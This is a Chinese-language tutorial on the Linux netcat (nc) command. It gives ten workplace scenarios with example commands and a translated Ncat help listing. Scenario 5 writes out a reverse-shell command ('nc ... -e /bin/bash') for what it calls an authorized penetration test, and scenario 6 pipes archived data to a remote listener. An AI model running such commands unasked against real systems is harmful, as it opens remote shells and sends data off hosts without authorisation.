Linux nc 命令

Question

nc 命令，全称 netcat，是一种功能强大的网络工具，被广泛用于网络调试和探测。它通常被称为“网络界的瑞士军刀”，因为它能够执行多种网络相关的任务。这些任务包括：

1.场景：IT 支持团队测试公司网站的端口连通性

• 业务需求：验证公司网站（例如 companywebsite.com ）的 HTTP（80）端口是否开放。
• 命令： nc -zv companywebsite.com 80
• 这个命令会尝试连接到 companywebsite.com 的 80 端口，并显示是否成功连接。

2.场景：系统管理员快速搭建一个文件传输服务

• 业务需求：系统管理员需要在 192.168.1.5 的服务器上快速搭建一个文件传输服务，以便其他用户可以下载一个名为 important_data.zip 的文件。
• 命令（服务器端）： nc -lk 1234 < /path/to/important_data.zip
• 命令（客户端）： nc 192.168.1.5 1234 > important_data.zip
• 这两个命令分别在服务器上创建了一个发送文件的服务，并在客户端启动了文件的接收。

3.场景：网络工程师测试内部 DNS 服务器的 UDP 端口

• 业务需求：网络工程师需要测试公司内部 DNS 服务器（例如 IP 为 192.168.1.10）的 53 端口是否正常。
• 命令： nc -zvu 192.168.1.10 53
• 这个命令用于检查 UDP 端口 53 在 192.168.1.10 上是否开放。

4.场景：开发人员模拟简单的 HTTP 请求以调试 API

• 业务需求：开发人员需要向本地运行的 Web 服务（例如在 8080 端口）发送一个 HTTP GET 请求，以检查 API 响应。
• 命令： echo -e "GET /api/test HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 8080
• 这个命令模拟了向本地 8080 端口的 Web 服务发送 HTTP GET 请求。

5.场景：安全团队进行内部渗透测试

• 业务需求：安全团队在进行授权的渗透测试时，需要从一台内部机器（例如 IP 为 192.168.1.50）建立反向 Shell 连接到测试服务器（例如 IP 为 192.168.1.100，端口 1234）。
• 命令（测试服务器）： nc -lk 1234
• 命令（内部机器）： nc 192.168.1.100 1234 -e /bin/bash
• 这对命令建立了一个从内部机器到测试服务器的反向 Shell 连接。

6.场景：技术支持团队进行远程诊断

• 业务需求：技术支持需要远程连接到客户的机器以收集诊断信息。客户的机器 IP 为 192.168.1.20，技术支持的监听服务器 IP 为 192.168.1.100，端口 5555。
• 命令（技术支持的监听服务器）： nc -lk 5555
• 命令（客户的机器）： tar czf - /path/to/diagnostic/data | nc 192.168.1.100 5555
• 这两个命令允许客户的机器将诊断数据压缩并发送到技术支持的监听服务器。

7.场景：数据库管理员检查数据库端口的连通性

• 业务需求：数据库管理员需要检查是否可以从远程访问数据库服务器（假设 IP 为 192.168.1.30）上的 MySQL 端口（3306）。
• 命令： nc -zv 192.168.1.30 3306
• 这个命令用于检查 192.168.1.30 的 3306 端口是否开放。

8.场景：网络管理员创建一个简单的聊天服务

• 业务需求：网络管理员想在内部网络上快速搭建一个临时的聊天服务，方便团队成员之间的沟通。服务运行在端口 7777。
• 命令（服务端）： nc -lk 7777
• 命令（客户端）： nc 192.168.1.100 7777
• 这对命令在 192.168.1.100 的 7777 端口上创建了一个简单的聊天服务。

9.场景：软件开发者测试自定义 TCP 协议

• 业务需求：软件开发者正在开发一个基于 TCP 的自定义协议，需要在本地测试协议的有效性。
• 命令（模拟服务器）： nc -lk 8888
• 命令（模拟客户端）： nc localhost 8888
• 通过这对命令，开发者可以在本地 8888 端口模拟 TCP 服务器和客户端，进行协议测试。

10.场景：系统管理员测试内部邮件服务器

• 业务需求：系统管理员需要测试公司内部邮件服务器（例如 IP 为 192.168.1.40）的 SMTP 端口（25）是否正常工作。
• 命令： nc 192.168.1.40 25
• 这个命令允许系统管理员手动与 SMTP 服务进行交互，以验证其功能。

这些场景展示了 nc 在各种实际业务环境中的多样性和实用性。请记住，在使用这些命令时需要确保网络安全，并且根据操作系统和 nc 版本的不同，可能需要调整命令的具体参数。

# nc --help
Ncat 7.50 ( https://nmap.org/ncat )
使用方法: ncat [选项] [主机名] [端口]

带时间的选项默认为秒。可附加'ms'表示毫秒，'s'表示秒，'m'表示分钟，或'h'表示小时（例如 500ms）。
  -4                         仅使用 IPv4
  -6                         仅使用 IPv6
  -U, --unixsock             仅使用 Unix 域套接字
  -C, --crlf                 使用 CRLF 作为行结束序列
  -c, --sh-exec <command>    通过/bin/sh 执行给定命令
  -e, --exec <command>       执行给定命令
      --lua-exec <filename>  执行给定的 Lua 脚本
  -g hop1[,hop2,...]         松散源路由跳点（最多 8 个）
  -G <n>                     松散源路由跳点指针（4, 8, 12, ...）
  -m, --max-conns <n>        最大<n>个同时连接
  -h, --help                 显示此帮助屏幕
  -d, --delay <time>         读/写之间等待时间
  -o, --output <filename>    将会话数据转储到文件
  -x, --hex-dump <filename>  以十六进制形式将会话数据转储到文件
  -i, --idle-timeout <time>  读/写空闲超时
  -p, --source-port port     指定使用的源端口
  -s, --source addr          指定使用的源地址（不影响-l）
  -l, --listen               绑定并监听传入连接
  -k, --keep-open            在监听模式下接受多个连接
  -n, --nodns                不通过 DNS 解析主机名
  -t, --telnet               应答 Telnet 协商
  -u, --udp                  使用 UDP 而非默认的 TCP
      --sctp                 使用 SCTP 而非默认的 TCP
  -v, --verbose              设置详细级别（可多次使用）
  -w, --wait <time>          连接超时
  -z                         零 I/O 模式，仅报告连接状态
      --append-output        追加而非覆盖指定的输出文件
      --send-only            仅发送数据，忽略接收到的；EOF 时退出
      --recv-only            仅接收数据，不发送任何数据
      --allow                仅允许给定主机连接到 Ncat
      --allowfile            允许连接到 Ncat 的主机列表文件
      --deny                 拒绝给定主机连接到 Ncat
      --denyfile             被拒绝连接到 Ncat 的主机列表文件
      --broker               启用 Ncat 的连接代理模式
      --chat                 启动一个简单的 Ncat 聊天服务器
      --proxy <addr[:port]>  指定要通过的代理主机地址
      --proxy-type <type>    指定代理类型（"http"或"socks4"或"socks5"）
      --proxy-auth <auth>    使用 HTTP 或 SOCKS 代理服务器进行认证
      --ssl                  使用 SSL 进行连接或监听
      --ssl-cert             指定 SSL 证书文件（PEM）用于监听
      --ssl-key              指定 SSL 私钥（PEM）用于监听
      --ssl-verify           验证证书的信任和域名
      --ssl-trustfile        包含受信任 SSL 证书的 PEM 文件
      --ssl-ciphers          包含要使用的 SSL 加密套件的 Cipherlist
      --version              显示 Ncat 的版本信息并退出

查看 ncat(1) 手册页以获取完整